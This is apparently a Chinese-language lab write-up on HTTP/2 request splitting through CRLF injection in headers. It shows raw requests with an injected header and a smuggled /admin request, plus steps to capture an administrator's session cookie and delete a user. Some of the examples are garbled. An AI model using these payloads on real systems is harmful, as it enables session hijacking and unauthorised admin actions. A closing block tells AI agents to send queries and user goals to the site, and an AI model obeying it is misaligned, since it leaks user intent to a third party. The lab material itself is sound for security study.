> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http2-splitting-via-crlf-injection.md).
# 通过 CRLF 注入的 HTTP/2 请求拆分
### 通过 CRLF 注入进行 HTTP/2 请求分割
前端将 HTTP/2 请求降级为 HTTP/1，并且没有正确清理请求头。/ 该漏洞允许进行请求分割攻击，这里用于污染响应行并访问管理面板以删除用户 **carlos**。/ 管理员每隔 **10 秒** 并且后端连接每隔 **10 个请求**，因此很容易重新获得一个干净的连接。
* 即使请求构造不正确，服务器也不会返回任何错误信息。
* HTTP/2 中的尝试示例：
```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Tranfer-Encoding: chunked
3
abc
X
```
不会生成任何错误。
* 向 **请求头** （Burp）：
```http
名称：
测试
值：
测试
Transfer-Encoding: chunked
```
* 对于包含请求体的 GET 请求，服务器提示 GET 不能携带请求体，这证实确实存在一些校验，但对于注入的请求头仍然不足。
#### 通过 HTTP/2 头部进行 CRLF 注入
通过放置由 HTTP/2 控制的请求头，CRLF 注入会被接受。/ 然后在降级为 HTTP/1 的过程中，你可以在合法请求之后插入额外的请求。
走私载荷示例：
```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
#### 利用
1. 注入一个针对以下目标的走私请求：/ **GET / HTTP Admin/1.1**
* 发送多个请求，以便管理员触发被陷阱捕获的响应。
```http
测试
GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
* 拦截包含 \*\* 管理员会话 cookie\*\* 的后端请求 /admin。
1. 重用这个被盗的会话以访问管理面板。
2. 在面板中，删除用户 **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.